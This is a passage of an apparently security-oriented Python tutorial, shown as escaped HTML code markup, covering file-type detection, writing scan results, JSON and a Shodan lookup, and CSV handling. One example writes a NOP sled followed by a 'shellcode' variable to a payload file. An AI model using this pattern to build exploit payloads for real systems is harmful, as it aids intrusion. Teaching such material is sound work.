    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PK&lt;/span&gt;&lt;span class="se"&gt;\x03\x04&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ZIP archive (also DOCX, XLSX, APKJ)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;unknown_file&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;header&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;magic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;filetype&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;magic_bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;magic&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;File type: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;filetype&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 Writing Files
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Write (overwrite if exists)
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;scan_results.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Scan Results&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;, &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Append to file
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;scan_log.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;a&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;] Scanned &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Writing binary
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;payload.bin&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x90&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;            &lt;span class="c1"&gt;# 100 NOP instructions
&lt;/span&gt;    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shellcode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Writing multiple lines efficiently
&lt;/span&gt;&lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;subnet.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writelines&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.3 JSON — The Standard Data Exchange Format
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;

&lt;span class="c1"&gt;# Load JSON from file
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;scan_results.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Load JSON from string
&lt;/span&gt;&lt;span class="n"&gt;json_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;host&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;, &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;: [22, 80, 443]}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json_str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;host&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                    &lt;span class="c1"&gt;# 192.168.1.1
&lt;/span&gt;
&lt;span class="c1"&gt;# Write JSON to file
&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;os&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Linux&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;os&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;results.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;indent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;    &lt;span class="c1"&gt;# indent=4 for pretty printing
&lt;/span&gt;
&lt;span class="c1"&gt;# Convert to JSON string
&lt;/span&gt;&lt;span class="n"&gt;json_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;indent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json_str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Handling JSON from APIs and security tools
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://api.shodan.io/shodan/host/8.8.8.8&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;org&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                     &lt;span class="c1"&gt;# Google LLC
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                   &lt;span class="c1"&gt;# [53, 443]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.4 CSV — Log Analysis
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;csv&lt;/span&gt;

&lt;span class="c1"&gt;# Read CSV
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hosts.csv&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;reader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;csv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;DictReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;         &lt;span class="c1"&gt;# Use header row as keys
&lt;/span&gt;    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hostname&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="c1"&gt;# Write CSV
&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hostname&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;router&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;up&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hostname&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;server&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;up&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;output.csv&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;newline&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;fieldnames&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hostname&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;writer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;csv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;DictWriter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fieldnames&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;fieldnames&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
